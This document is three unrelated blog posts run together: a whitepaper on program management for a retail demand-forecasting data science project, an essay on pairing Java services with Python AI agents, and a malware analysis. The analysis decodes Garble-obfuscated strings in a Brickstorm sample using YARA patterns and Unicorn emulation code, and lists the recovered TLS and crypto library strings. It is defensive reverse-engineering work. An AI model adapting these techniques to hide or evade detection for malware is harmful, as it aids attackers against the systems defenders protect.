Managing Data Science programs requires a structured approach to handle the complexities of data, model development, and business alignment. This whitepaper provides a comprehensive guide on the effective program management of Data Science programs by technical program managers. It highlights the critical role of Technical Program Managers (TPMs) in driving successful execution and outlines the key phases, challenges, and recommended best practices at every stage for effectively managing Data Science programs

This white paper is grounded in a real-world inventory forecasting initiative aimed at improving stock availability and reducing overstock across multiple retail categories. The program involved cross-functional collaboration between Data Science, Engineering, Product, and Business teams to build predictive models that could dynamically adjust inventory levels based on demand signals.

2. Introduction

Data Science has become a critical pillar of decision-making across industries, but organizations continue to struggle with operationalizing these initiatives. Unlike software development, which follows predictable sprint cycles, Data Science programs are inherently experimental — requiring repeated cycles of data validation, model training, and retraining before they reach acceptable performance levels. This uncertainty often leads to misaligned expectations, delays in delivery, and inconsistent business impact.

The iterative nature of model development makes predictability especially challenging: teams may require multiple iterations to achieve coverage and accuracy thresholds that satisfy business needs. Without structured program management, these efforts risk becoming siloed experiments rather than scalable, value-generating solutions.

This whitepaper aims to address this gap by providing a practical framework for Technical Program Managers (TPMs) to manage Data Science programs effectively. It draws on real-world experience from a large-scale inventory forecasting initiative to illustrate how TPM-led governance, alignment, and phased execution can bring discipline and predictability to an otherwise experimental process.

3. Methodology

Managing a Data Science program requires more than adopting standard Agile rituals or deploying models on cloud platforms. The critical differentiator lies in adapting these methods to the inherently experimental nature of Data Science.

Our approach began with a deep dive into the business context — identifying objectives like minimizing stockouts, optimizing inventory turnover, and improving forecast accuracy. From there, we established a cross-functional operating model, ensuring early alignment between Data Scientists, Engineers, Analysts, and Business stakeholders. This upfront alignment reduced rework and prevented scope creep once modelling iterations began.

To introduce predictability into what is often a non-linear process, we designed a custom governance framework. Sprint cycles were defined not just for coding, but for each stage of the Data Science lifecycle: requirements (BRD to PRD), data collection, feature engineering, model training, validation, and deployment. Each stage had gated progression, reviewed jointly by technical and business owners, ensuring that models advanced only when quality and coverage thresholds were met.

Tools like Jira, CI/CD pipelines, and cloud platforms (AWS/GCP/Azure) were not used “off the shelf,” but tailored to Data Science needs. For example, Jira workflows were restructured to mirror the DS lifecycle, complete with dashboards that tracked experiment status, model readiness, and business validation. CI/CD pipelines were extended to handle model versioning and automated retraining triggers, while cloud resources were provisioned at kick-off to avoid compute bottlenecks during large-scale back testing.

This tailored methodology allowed us to maintain scientific rigor in experimentation while still providing program-level visibility and predictability — a balance that is often missing in Data Science initiatives.

4. Data Science Delivery Lifecycle: Challenges and TPM Playbook

Managing data science programs is not just about tracking experiments or collecting metrics. It’s about navigating unknowns, connecting fragmented teams, and unlocking value in a highly iterative environment. While we describe the lifecycle in distinct phases for clarity, the reality is more dynamic: discoveries in later stages often require revisiting earlier steps — such as refining success metrics after validation insights or adjusting data sourcing based on modelling outcomes. This flexibility is intentional and built into the framework, ensuring that the process remains adaptive and responsive to new learnings. Let me brief how as TPM we systematically tackled risks of a real replenishment/Dynamic Inventory, forecasting initiatives across key phases of product lifecycle.

Phase 1: Business Understanding

The priority was to ensure the program was tied to business outcomes, with a clear measure of success.

For demand forecasting, this meant predicting demand at a geo level with higher accuracy than existing models — directly influencing inventory planning and working capital. Forecast inaccuracies have a tangible dollar impact on the business — under‑forecasting leads to lost revenue from stock‑outs, while over‑forecasting increases inventory carrying costs and potential disposition losses. Success was therefore measured using Mean Absolute Percentage Error (MAPE), with accuracy improvements explicitly mapped to reduced business loss, lower excess inventory, and improved working capital efficiency.

Challenge — Balancing Speed and Accuracy

Data Science timelines are inherently iterative, while Engineering works in structured sprints. This mismatch often led to tentative ETAs, multiple revisions, and misaligned expectations. In the initial forecasting use case, model outputs required several iterations to reach accuracy targets, causing uncertainty in downstream engineering integration.

TPM Intervention

To bridge the gap between business expectations and data science experimentation, the TPM established a unified success measurement framework at program initiation. The goal was to define clear metrics outlining how business impact would be measured, tracked, and reviewed throughout the lifecycle.

All teams — Data Science, Product, and Business — aligned on baseline accuracy benchmarks and target improvement thresholds before modelling began. Milestone-based checkpoints linked performance metrics such as MAPE to tangible business outcomes like reduced forecast error and optimized inventory levels. A structured review cadence focused discussions on business value realization rather than technical progress alone.

By institutionalizing success measurement early, the TPM ensured transparency, strengthened stakeholder alignment, and enabled data-driven trade-offs between experimentation time and business value, anchoring technical progress to strategic objectives.

Additionally, various approaches were planned upfront with business collaboration starting with coverage and adoption, then moving to accuracy so delivery could follow an iterative fashion, building confidence at each milestone. This gave the business confidence that delivery was planned and predictable, not left to chance.

Key Takeaway

The Business Understanding Phase should define a clear measure of success. This will be the anchor in subsequent stages and will help in reducing uncertainty.

Phase 2: Data Sourcing and Transformation

This phase focused on identifying the right data sources, validating their reliability, correctness and completeness, and ensuring they could be transformed into scalable, compliant pipelines.

Challenges — Data Quality Uncertainty

Inaccurate or incomplete data reduced signal strength and model reliability. For example, customer address data was missing in some upstream systems, while sales data arrived in a different time zone than address data — leading to misalignment in outputs.

Schema Ambiguity: Schema documentation was often missing or incomplete. Similar-sounding fields (e.g., customer_id vs cust_id) could represent different entities, creating confusion and risk during feature engineering.

Data Duplication: Same data appeared in multiple sources with inconsistencies, making it hard to determine the source of truth and ensure consistency.

TPM Intervention

The TPM brought together Data Science, Engineering, and Product in a workshop to co-create a workaround: returning customers were aggregated via customer ID, while new customers were mapped to the highest-sales zip. A specific data quality Data Quality Score (DQS) was introduced. This was based on completeness, consistency, and timeliness, with a minimum threshold of 95% completeness and <2% time zone mismatch tolerance before data was accepted for modelling. With QA coverage and team signoffs, this became a repeatable solution, enabling retraining on enriched data and reducing business impact.

Schema Contracts: Introduced upfront schema definition and approval process involving Data Engineering, Data Science, and Product teams to reduce ambiguity.

Deduplication Checklist: Established a rule that Data Science teams only use Engineering-provided data/data sources as the source of truth.

Key Takeaway

Anticipate and resolve data quality gaps using guardrails and thresholds. Introduce specific Data Quality metrics (e.g., completeness, consistency, timeliness) to measure and enforce standards. Address schema ambiguity and duplication early through schema contracts and source-of-truth policies before modelling begins.

Phase 3: Modelling

This phase focused on building scalable data science models while balancing exploration with predictable delivery. The team defined baselines, ran systematic experiments, and optimized for both accuracy and infrastructure cost.

The modelling framework has the following dimensions of experimentation

Multiple Model frameworks: Multiple families of models are evaluated in parallel. Examples: statistical baselines such as Autoregressive Integrated Moving Average/ Error Trend Seasonality model [ARIMA/ETS], tree-based approaches such as XGBoost/LightGBM, and deep learning architectures like Multi-Horizon Recurrent Neural Networks [MHRNNs].

Multi-horizon forecasting: Multiple horizons of forecasting are addressed simultaneously: Short-term (1–4 weeks), medium-term (5–12 weeks), and long-term (13+ weeks) horizons.

Multiple sources of external inputs: Models trained on Uber H3 Level 7 hexagonal clusters, external market research data inputs.

Multiple Learning mechanisms: Sequential learning to capture temporal dependencies, seasonality & trend modelling, and integration of external factors such as promotions, weather, and macroeconomic signals.

Feature Selection: An essential part of modelling is choosing which features from the dataset to include during training and inference. Selecting the right features ensures the model focuses on variables that truly influence outcomes, improving accuracy and reducing complexity. For example, in demand forecasting, historical sales, seasonality, and promotions are relevant, while internal IDs or random codes add no predictive value and should be excluded.

Challenges
Data Science experimentation often caused missed deadlines — accuracy fluctuated across iterations, and coordination issues during integration slowed down progress.

Effort vs. Output Misalignment: Building models often requires multiple iterations, and failures are common, so the visible output may not reflect the effort invested.

TPM Intervention

· Work Modularization: Broke modelling into distinct work units, enabling early engineering handoffs while Data Science iterated further.

· Parallelization: While one model group moved into engineering validation, others continued in experimentation.

· Segmentation: Models organized by forecast horizon (short vs. long) and SKU type (low/medium/high velocity, new items) to align iterations with business needs.

· Iteration Planning: Each group followed 2–3 sprint cycles with checkpoints for feature enrichment, validation, and stakeholder review. Prioritization focused on high-velocity SKUs and new launches.

· Governance: Central dashboards tracked model progress, validation status, and readiness for deployment, giving stakeholders real-time visibility.

Introduced few Predictability Mechanisms

· Defined iteration cycles (2–3 sprints per model group).

· Validation gates at each cycle using thresholds (MAPE, RMSE, recall/precision benchmarks).

· Early handoffs: Once a model crossed baseline performance, partially validated versions were transferred to Engineering. This allowed pipeline and integration testing in parallel with ongoing DS refinements.

· Stakeholder checkpoints ensured business validation before downstream adoption.

Outcome
This structure brought predictability and brought enabled end-to-end optimization, accuracy improved steadily across cycles, early validations reduced integration risk, and the models ultimately supported smarter inventory decisions across geo-clusters.

Documentation: Established a structured process to capture failed experiments, document reasons for failure, and log effort invested. This ensures transparency, preserves learnings, and prevents repeated mistakes.

Key Takeaway

Modularize the model work, to enable parallel work across Data Science and Engineering teams.

Phase 4: Implementation & Validation

This phase emphasized ensuring that forecasts were both statistically reliable and practically usable for business operations. Beyond accuracy metrics, the focus was on building trust with stakeholders and ensuring seamless integration into production systems.

Challenge — Business Trust and Production Readiness
While the models met validation thresholds (MAPE, BIAS), business teams were hesitant to adopt them due to under-forecasting for new SKUs and concerns about stability in production. This created a gap between technical validation and operational confidence.

Model Drift Over Time: Once deployed, models may lose accuracy because the real-world data distribution changes. The datasets used for initial training may no longer represent current conditions, leading to degraded performance.

TPM Intervention
To bridge this gap, mandated that user validation scenarios be defined upfront as part of the planning cycle, ensuring that evaluation criteria were business-driven and aligned with operational needs. To avoid downstream delays, ensured these scenarios to be ready before modelling began, creating clarity on success metrics early. In parallel, the TPM brought Data Engineering into the process from the start, enabling pipelines to be built alongside model development rather than after, which reduced bottlenecks during integration. Also introduced business teams to use dashboards to continuously compare forecasts against actuals, ensuring models remain reliable and do not drift over time. This visibility enables early detection of performance degradation and triggers retraining workflows when needed.

Outcome
Business gained confidence through clear visibility into model behaviour, while engineering ensured reliability at scale. Phased adoption across categories reduced operational risk and accelerated trust-based deployment.

Key Takeaway

Work with business stakeholders during planning to decide upfront the validation scenarios. Engage Data Engineering early to build pipelines in parallel with model development. Partner with business to set up dashboards to compare forecasts with past actuals.

Phase 5: Deployment & Change Management

This phase focused on taking models from controlled development environments into production, ensuring they worked reliably within real-world systems. Running models are computationally intensive and require the correct infrastructure to run.

Challenges — Scalability and Tooling Misalignment

Large models demanded compute-heavy environments, but infrastructure provisioning was often treated as an afterthought, leading to late-stage delays. For example, model training slowed drastically when cloud capacity was not reserved in advance. On top of this, Data Science and Engineering teams operated in incompatible environments, causing runtime failures and failed deployments

TPM Intervention

Infrastructure provisioning was made a mandatory kick-off task for all initiatives. Cloud capacity was provisioned early, with compatibility checks and sandbox validations built into the project timeline. This shift ensured alignment between Data Science and Engineering from the outset, reducing friction at deployment time. We also planned costs upfront with DS, Engineering, and Business teams to forecast compute needs and budgets. This gave financial clarity and confidence that the approach would be sustainable, deliver ROI, and support long-term growth.

Outcome

The structured approach minimized runtime failures and unblocked deployments. Teams no longer lost time to environment mismatches, and models were deployed faster, with more predictable cost and compute efficiency.

Key Takeaway

Plan early for the needed infrastructure, define deployment strategies (batch, real-time, A/B testing), plan integration with downstream applications, and establishing rollback plus monitoring mechanisms.

Phase 6: Monitoring & Optimization

Post-deployment, the priority shifted to tracking whether forecasts translated into measurable business outcome. Deviations would need to be handled by the team accountable for the specific problem seen

Challenges — Scalability and Tooling Misalignment

Early on, teams struggled with unclear accountability — pipeline errors sat with Engineering, while missed accuracy thresholds were debated between Analytics and Data Science.

TPM Intervention

Define clear accountability for post-deployment anomalies by creating ownership maps and SLA-based resolution timelines. Assign pipeline issues to Engineering, accuracy deviations to Data Science, and business validation gaps to Analytics. Use real-time dashboards to track anomalies and enforce SLAs.

Outcome

By introducing a formal ownership map and lightweight dashboards, every anomaly had a clear owner and SLA for resolution. This not only accelerated troubleshooting but also created a repeatable loop where insights directly fed into model retraining, keeping performance aligned with business expectations.

Key Takeaway

Establish clear accountability for issues that are anticipated when the solution is deployed and keep performance aligned with business KPIs.

✅ Conclusion: A Scalable Framework Emerges

A structured, phase-driven approach to Data Science program management enables scalable and predictable outcomes. By anchoring planning to business objectives and measurable success metrics, proactively resolving data quality gaps, and modularizing modelling work for parallel progress, TPMs fostered team alignment and accelerated delivery. Early definition of validation scenarios and infrastructure needs ensured forecasts were both accurate and operationally trusted, while robust deployment strategies minimized runtime failures. Post-launch, clear accountability and real-time dashboards enabled rapid troubleshooting and continuous model improvement. Collectively, these interventions delivered speed with rigor, improved forecast accuracy, drove stakeholder adoption, and established a repeatable framework for tangible business impact.

“Because there is so much experimentation, there is a possibility that the problem statement gets invalidated based on the outcomes derived.”

5. References

· Project Management Institute (PMI). “A Guide to the Project Management Body of Knowledge (PMBOK® Guide)”. This guide offers a comprehensive framework for managing projects effectively and can be adapted for Data Science programs.

· Google Cloud. “AI & Machine Learning Products”. Learn about tools and platforms that can enhance data validation, tracking, and goal alignment.

· McKinsey & Company. “The Analytics Translator: Bridging the Gap between Data Science and Business”. This article provides insights into aligning data science goals with business priorities.

· Harvard Business Review. “Why IT Fumbles Analytics”. This resource discusses the challenges of managing analytics projects and offers practical strategies for success.

· Machine Learning Operations: Model handover (from Data Science to Engineering) Process checklist

White Paper on Data Science Technical Program Management was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

How I got here?

I’ve been in the Java world for more than 30 years. Java has been my default answer to “what should we build this in?” for most of my career. I’ve seen it grow from applets and early web apps to large-scale enterprise systems, microservices, and cloud-native platforms.

I’ve loved Java and still do. It has given me a solid, safe, and scalable way to build systems that actually run in production.

For most of my career, this mental model worked:

New system? Java
New service? Java
Something serious, important, enterprise? Java

Then, earlier this year, I stepped into the agentic AI ecosystem and that “Java first” instinct started working against me!

When “Java first” started to hurt?

I tried to stay in my comfort zone. I tried.

• I built my first MCP server blueprint using Spring Framework (org.springframework.ai) around May, 2025 (early release), when everything in this space was just geting started.
• I built an early local AI agent using a Java with google ADK to wire tools and tasks together.

On paper, it looked great:

1. Java
2. Spring
3. Strong typing
4. Familiar tooling

But in practice, it felt like I was constantly swimming upstream:

More glue code than I wanted
More boilerplate
More “why is this so hard?” moments
More time fighting infrastructure instead of experimenting with AI behavior

That’s when I realized: I hadn’t hit a wall because Java is “bad”. I hit a wall because agentic AI is a different kind of work than what we historically do in Java.

What actually changed with agentic AI?

Speed and first-class support

In the LLM / agent ecosystem, almost everything shows up in Python first:

New libraries
New patterns
New evaluation frameworks
Community research code, tutorials, etc.

If you want to try an idea today, chances are:

The official examples is in Python
The reference implementation is in Python
The community discussion assumes Python

In Java, I kept finding myself in DIY mode:

“There’s a Python example… ok, now let me re-create the entire stack in Java, adjust types, wiring, configs, and hope it behaves the same.”

That’s not where you want to spend your time when everything in AI is changing weekly.

Experimentation vs. stability

Traditional Java enterprise systems optimize for stability:

1. Well-defined interfaces
2. Strict contracts
3. Long-lived services
4. Strong governance and change control

Agentic AI optimizes for experimentation:

1. Prompts change frequently (sometimes daily)
2. You add/remove tools
3. You try new reasoning flows
4. You swap models or providers to see what works better.

Java and Spring are fantastic for long-lived, stable, governed microservices. They are not naturally optimized for the messy, “try 10 ideas and keep 1” world of early AI experimentation.

For that kind of work, you want:

Less ceremony
Faster iteration
Shorter feedback loops

That’s exactly where Python shines.

Agent code is mostly orchestration, not the real business logic

In the traditional world, the code that does the work lives inside your Java services:

Business rules
Validations
Shorter feedback loops
Domain models
Transactions

In the AI agent world, the heavy lifting shifts:

The LLM does the reasoning, planning, and language understanding.
Tools and data sources do the actual work (APIs, DB queries, searches, actions).

The agent itself becomes mostly orchestration and glue:

“Take user intent → figure out what tools to call → call them in the right order → reason about the responses → decide the next step.”

This kind of glue code:

Changes frequently
Lives close to prompts and model configs
Is easier to express in a concise, dynamic language
Domain models
Transactions

Writing this orchestration in Python is simply much faster than doing it in Java.

MCP servers are adapters, not full business systems

When I wrote my first MCP server blueprint in Spring, I instinctively treated it like a typical enterprise service:

Layers
DTOs
Configuration
Dependency injection
The whole Java “production-grade” toolkit!

But that’s not what an MCP server really is.

An MCP server is basically an adapter:

Receive a simple, structured request from the model
Call an existing service or database
Return a clean, structured response back

That’s it.

For this kind of lightweight adapter work, Python is usually a better fit:

Less boilerplate
Faster to write and publish
Easier to iterate as your tools and schemas evolve

A Let’s take scenario, two approaches

Scenario:
“Given a customer’s request, decide whether to approve an order, check credit, apply discounts, and notify.”

If I build this purely in Java

I’m tempted to:

1. Design a full microservice (or several)
2. Define DTOs, interfaces, and controller endpoints
3. Bake the logic into Java classes
4. Go through normal deployment, governance, and release cycles

This is great when the rules are stable and you want strong guarantees.

If I build this with Python agents + Java services

I change my mindset:

1. Keep the core logic and data in Java: credit-service pricing-service profile-service
2. Add a Python agent that: Talk to the LLM, Calls those Java services via MCP tools or HTTP APIs,
3. and Orchestrates the flow: “Check credit → if high-risk, ask for manual review → otherwise, fetch pricing → apply rules → approve/deny → send notification.

Whenever the decision logic or flow changes:

I mostly update Python agent behavior and prompts.
Java services stay stable, governed, and reliable.

This feels natural: Java keeps doing what it’s amazing at; Python takes the fast-changing orchestration role around the AI.

The key realization: it’s not Java vs Python

The important shift for me was this:

I don’t need to choose Java or Python.
I need to choose where Java is right, and where Python is right.

From my experience so far:

Where Java is still the best choice?

1. Core business services
2. Transactional systems of record
3. High-QPS, low-latency APIs
4. Long-lived, stable, well-governed microservices
5. Places where you need strict contracts, compliance, and reliability over many years.

Where Python is the better choice?

1. AI agents (prompt-heavy, fast-changing, experiment-driven)
2. MCP servers and tools (adapters exposing data/actions to models)
3. Data science, ML training, feature engineering, evaluation pipelines
4. Prototypes and “let’s see if this works” flows

When I tried to force agents and MCP patterns into pure Java/Spring, I could make it work, but it felt like:

Writing a UI in assembly language: technically possible, but you’re fighting the grain of the tools.

A simple architectural pattern: Java in the middle, Python at the edge

The way I now think about it is in layers:

1. Core Systems (Java)
-Systems of record
-Domain logic, validations, transactions
-APIs with stable contracts

2. Adapters / Tools (Mostly Python MCP servers)
-Thin wrappers around those Java services and databases
-Fast to change, but still structured and testable

3. Agents & Experiences (Python + LLMs)
-Agent logic (tool selection, sequencing, reasoning about results)
-Experiments, new flows, new user journeys

If I had to describe it in one line:

Java holds the truth. Python explores the possibilities.

How I personally envison the work today?

My mental model now is very simple:

Java: the backbone — where the business actually lives.

Python: the face and the hands — where the AI lives, coordinates, and experiments.

I still love Java. I still default to Java when I think about serious, long-term systems.

But when it comes to AI Agents, MCP servers, and fast-moving agentic work, I’ve learned to let Python lead — not because Java can’t do it, but because it’s not the right kind of tool for that style of work.

One resource I recommend helpful for Java folks

As a Java person stepping into Python, I found it useful to learn in a way that speaks my language and constraints. One book I personally enjoyed to get started is:

Python for Java Developers: A Handbook for Busy Experts — Pedro Cavaléro

It doesn’t try to convince you that Java is obsolete. It simply helps you quickly see how to think in Python without abandoning everything you know from decades of Java.

If you’re a Java veteran like me, you don’t have to choose sides.
Keep Java as the core.
Let Python lead your agentic systems.
Use each tech stack and language where it’s naturally strong and your architecture (and teams) will thank you for it!

Keeping Java as the Core, Python to Lead Agentic Systems was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

From the recent attention to Brickstorm in public reporting, I analyzed the Brickstorm sample listed below that was recently uploaded to Virustotal:

90b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035

This sample was obfuscated via an open-source Golang tool called Garble[4] which was mentioned by Mandiant[1]. Mandiant also released a tool for decoding Garble strings[2] which was based on prior work by OALabs[3].

A quick note before diving in: I developed my string decoder independently, without first reviewing the work published by Google Threat Intelligence (GTI). Interestingly, my approach ended up aligning closely with their research on similar samples. I want to spotlight the method detailed in GTI’s blog, which takes a deep dive into Garble’s AST transformation code, a technique that offered valuable insight into how the obfuscation operates.

The strings are mostly stack based although some of the larger ones reside elsewhere and are loaded.

For harvesting the bytecode sequences I decided to leverage a few possible yara rules which started strict and was relaxed as I continued my work:

#good for most
#rules = yara.compile(source='rule urls { strings: $a1 = {48 b8 [8] 48 89 [3] 48 b8 [10-200] 48 [2] 48 [3] 7c ??} condition: all of them }')
rules = yara.compile(source='rule urls { strings: $a1 = {48 b8 [8] 48 89 [3] [10-400] 48 [2] 48 [3] 7c ??} condition: all of them }')
rules2 = yara.compile(source='rule urls { strings: $a1 = {48 8d [1-5] c? 44 [6] [10-400] 48 [2] 48 [3] 7c ??} condition: all of them }')

After retrieving all the matches and removing possible substrings I can emulate the code:

blobs = uniq_blobs
out = b''
if True:
    STACK=0x9000
    code_base = 0x100000

    for blob in blobs:
        mu = Uc(UC_ARCH_X86,UC_MODE_64)
        mu.mem_map(code_base, 0x100000)
        mu.mem_map(STACK, 4096*10)
        #Make sure it ends gracefully
        blob = blob.matched_data+b'\x90\x90\x90'
        #Debugging
        #if binascii.unhexlify('48b8532f2e5e6d03c6b1488944244048') in blob:
        #    print("Found it")
        #    print(binascii.hexlify(blob))
        mu.mem_write(code_base, b'\x00'*0x100000)
        mu.mem_write(STACK, b'\x00'*(4096*10))

        mu.mem_write(code_base,blob)
        #Debugging:
        #mu.hook_add(UC_HOOK_BLOCK, hook_block)
        #mu.hook_add(UC_HOOK_CODE, hook_code)
        mu.reg_write(UC_X86_REG_RSP,STACK+4096)
        mu.reg_write(UC_X86_REG_RBP,STACK+4096)
        mu.reg_write(UC_X86_REG_ESP,STACK+4096)
        mu.reg_write(UC_X86_REG_EBP,STACK+4096)
        mu.reg_write(UC_X86_REG_RAX,0)
        try:
            mu.emu_start(code_base, code_base+len(blob), timeout=10000)
        except:
            continue
        a = mu.mem_read(STACK,4096*10)
        a = b''.join(a.split(b'\x00'))
        l = mu.reg_read(UC_X86_REG_RAX)+1
        if len(a) > 0:
            print(str(a)[-l:])
            out += a

I noticed afterwords that OALabs also used a hook but they did so to find the next call instruction:

    def trace(uc, address, size, user_data):
        insn = next(cs.disasm(uc.mem_read(address, size), address))
        #print(f"{address:#010x}:\t{insn.mnemonic}\t{insn.op_str}")
        if insn.mnemonic == 'call':
            #print("Ending on a call!")
            uc.emu_stop()

I like this approach and will definitely leverage it later, I primarily used hooks for debugging my code in comparison:

def hook_block(uc, address, size, user_data):
    print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))

def hook_code(uc, address, size, user_data):
    print(user_data)
    print(uc.reg_read(UC_X86_REG_RCX))
    print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))

#Debugging:
#mu.hook_add(UC_HOOK_BLOCK, hook_block)
#mu.hook_add(UC_HOOK_CODE, hook_code)

This won’t get every single string as some are passed as offsets to the data residing in rodata section for longer pieces. Decoding:

Handshake'
undefined'
invalid perspective'
Handshake'
0-RTT Protected'
unknown packet type: %d'
QUIC_GO_LOG_LEVEL'
initial RTT set after first measurement"
%#x doesn't fit into 62 bits"
invalid varint length"
cannot encode %d in %d bytes"
value doesn't fit into 62 bits: "
chacha20: wrong key size'
chacha20: SetCounter attempted to rollback counter"
chacha20: output smaller than input'
chacha20: invalid buffer overlap'
chacha20: internal error: wrong dst and/or src length'
chacha20: wrong HChaCha20 key size'
chacha20: wrong HChaCha20 nonce size'
GODEBUG sys/cpu: no value specified for "'
GODEBUG sys/cpu: value "'
" not supported for cpu option "'
GODEBUG sys/cpu: unknown cpu feature "'
GODEBUG sys/cpu: can not enable "'
, missing CPU support\n'
GODEBUG sys/cpu: can not disable "'
, required CPU feature\n'
avx512vbmi'
avx512vnniw'
avx5124fmaps'
avx512vpopcntdq'
avx512gfni"
avx512vaes'
avx512vbmi2'
avx512bitalg'
avx512bf16'
pclmulqdq'
poly1305: write to MAC after Sum or Verify'
chacha20poly1305: bad nonce length passed to Seal'
chacha20poly1305: plaintext too large'
chacha20poly1305: bad nonce length passed to Open"
chacha20poly1305: ciphertext too large'
chacha20poly1305: invalid buffer overlap"
chacha20poly1305: invalid buffer overlap"
chacha20poly1305: invalid buffer overlap'
chacha20poly1305: invalid buffer overlap"
20060102150405Z0700'
cryptobyte: pending child length %d exceeds %d-byte length prefix"
cryptobyte: BuilderContinuation reallocated a fixed-size buffer"
cryptobyte: attempted write while child is pending"
cryptobyte: length overflow'
cryptobyte: Builder is exceeding its fixed-size buffer'
bad point length: %d, expected %d'
bad input point: low order point'
hkdf: entropy limit reached'
close notify'
unexpected message'
bad record MAC'
decryption failed'
record overflow'
decompression failure'
handshake failure'
bad certificate'
unsupported certificate'
revoked certificate'
expired certificate'
unknown certificate'
illegal parameter'
unknown certificate authority'
access denied'
error decoding message'
error decrypting message'
export restriction'
protocol version not supported'
insufficient security level"
internal error'
inappropriate fallback'
user canceled'
unsupported extension'
certificate unobtainable'
unrecognized name'
bad certificate status response'
certificate required'
no application protocol'
GTLS 1.3, server CertificateVerify"
_TLS 1.3, client CertificateVerify'
tls: no certificates configured'
CLIENT_RANDOM'
CLIENT_EARLY_TRAFFIC_SECRET'
CLIENT_HANDSHAKE_TRAFFIC_SECRET"
SERVER_HANDSHAKE_TRAFFIC_SECRET'
CLIENT_TRAFFIC_SECRET_0'
SERVER_TRAFFIC_SECRET_0'
tls: invalid ClientKeyExchange message'
tls: invalid ServerKeyExchange message'
res binder'
c hs traffic'
s hs traffic'
c ap traffic'
s ap traffic'
exp master'
res master'
traffic upd'
master secret'
key expansion"
client finished"
server finished'
tls: alert('
expected an ECDSA public key, got %T'
Ed25519 verification failure'
expected an RSA public key, got %T"
expected an RSA public key, got %T'
internal error: unknown signature type'
unsupported signature algorithm: %v"
unsupported signature algorithm: %v'
tls: Ed25519 public keys are not supported before TLS 1.2'
tls: unsupported public key: %T'
tls: unsupported certificate: private key is %T, expected *%T'
tls: certificate private key (%T) does not implement crypto.Signer'
tls: unsupported certificate curve (%s)'
tls: certificate RSA key size too small for supported signature algorithms'
tls: unsupported certificate key (%T)"
tls: peer doesn't support the certificate custom signature algorithms"
tls: internal error: unsupported key (%T)'
tls: internal error: wrong nonce length'
tls: internal error: wrong nonce length'
tls: internal error: wrong nonce length"
tls: unable to generate random session ticket key: %v'
s %x %x\n'
tls: received unexpected handshake message of type %T when waiting for %T'
TLS: sequence number wraparound'
unknown cipher type'
unknown cipher type'
unknown cipher type"
unsupported SSLv2 handshake received'
received record with version %x when expecting version %x'
remote error'
remote error'
tls: too many ignored records'
local error'
local error'
unknown cipher type'
tls: handshake message of length %d bytes exceeds maximum of %d bytes'
tls: internal error: unexpected renegotiation'
tls: unknown Renegotiation value"
tls: too many non-advancing records'
tls: received unexpected handshake message of type %T'
tls: internal error: handshake should have had a result'
tls: invalid NextProtos value'
tls: NextProtos values too large'
tls: no supported versions satisfy MinVersion and MaxVersion'
tls: short read from Rand: "
tls: short read from Rand: '
c e traffic"
resumption'
tls: server selected unsupported protocol version %x'
tls: received unexpected CertificateStatus message'
tls: server's identity changed during renegotiation"
tls: failed to write to key log: '
tls: server selected unsupported compression format'
tls: initial handshake had non-empty renegotiation extension"
tls: server advertised unrequested ALPN extension'
tls: server resumed a session with a different version'
tls: server resumed a session with a different cipher suite'
tls: server's Finished message was incorrect"
tls: server selected TLS 1.3 using the legacy version field'
tls: server selected an invalid version after a HelloRetryRequest'
tls: server sent an incorrect legacy version'
tls: server sent a ServerHello extension forbidden in TLS 1.3"
tls: server selected unsupported compression format'
tls: server changed cipher suite after a HelloRetryRequest"
tls: server sent an unnecessary HelloRetryRequest message"
tls: received malformed key_share extension'
tls: server selected unsupported group"
tls: server sent an unnecessary HelloRetryRequest key_share"
tls: server sent a cookie in a normal ServerHello'
tls: malformed key_share extension'
tls: server did not send a key share'
tls: server selected unsupported group'
tls: server selected an invalid PSK'
tls: server selected an invalid PSK and cipher suite pair'
tls: invalid server key share'
LPN negotiation failed. Server didn\'t offer any protocols'
ALPN negotiation failed. Server offered: %q'
tls: server advertised unrequested ALPN extension'
tls: certificate used with invalid signature algorithm'
tls: certificate used with invalid signature algorithm"
tls: invalid signature by the server certificate: '
tls: invalid server finished hash'
tls: failed to sign handshake: '
tls: received a session ticket with invalid lifetime'
invalid value length: expected %d, got %d'
tls: internal error: failed to update binders'
tls: negotiated TLS < 1.3 when using QUIC'
tls: client offered old TLS version %#x'
tls: client offered only unsupported versions: %x'
tls: client does not support uncompressed connections"
tls: initial handshake had non-empty renegotiation extension'
tls: unsupported signing key type (%T)'
tls: unsupported decryption key type (%T)"
tls: no cipher suite supported by both client and server'
tls: client using inappropriate protocol fallback'
tls: client certificate used with invalid signature algorithm'
tls: invalid signature by the client certificate: '
ls: client\'s Finished message is incorrect'
tls: failed to parse client certificate: "
ls: client didn\'t provide a certificate'
tls: failed to verify client certificate: '
tls: client certificate contains an unsupported public key of type %T'
tls: client used the legacy version field to negotiate TLS 1.3'
tls: client using inappropriate protocol fallback'
tls: TLS 1.3 client supports illegal compression methods'
b'\x1c9\xbfZ8\xf4\xe1\xccWH\x8eUE4\x19\xb4\x85\x87qS%D\xe8\xe6\tH\xb8\xf3'
f\xa5#!\xef9 handshake had non-empty renegotiation extension'
tls: no cipher suite supported by both client and server"
tls: no ECDHE curve supported by both client and server'
tls: invalid or missing PSK binders'
tls: client sent unexpected early data'
resumption'
tls: internal error: failed to clone hash"
tls: invalid PSK binder"
c e traffic'
tls: client sent invalid key share in second ClientHello'
tls: client indicated early data in second ClientHello'
tls: client illegally modified second ClientHello'
tls: client offered 0-RTT data in second ClientHello'
ALPN negotiation failed. Client offered: %q'
tls: failed to sign handshake: '
tls: client certificate used with invalid signature algorithm'
tls: client certificate used with invalid signature algorithm'
tls: invalid signature by the client certificate: '
tls: invalid client finished hash'
tls: certificate private key does not implement crypto.Decrypter"
tls: unexpected ServerKeyExchange'
tls: no supported elliptic curves offered'
tls: certificate cannot be used with the selected cipher suite'
tls: failed to sign ECDHE parameters: '
tls: server selected unsupported curve"
tls: server selected unsupported curve'
tls: certificate used with invalid signature algorithm'
tls: invalid signature by the server certificate: '
tls: missing ServerKeyExchange message'
tls: HKDF-Expand-Label invocation failed unexpectedly'
tls: internal error: unsupported curve'
unknown version'
server finished'
master secret'
key expansion'
crypto/tls: reserved ExportKeyingMaterial label: %s'
crypto/tls: ExportKeyingMaterial context too long'
tls: internal error: session ticket keys unavailable'
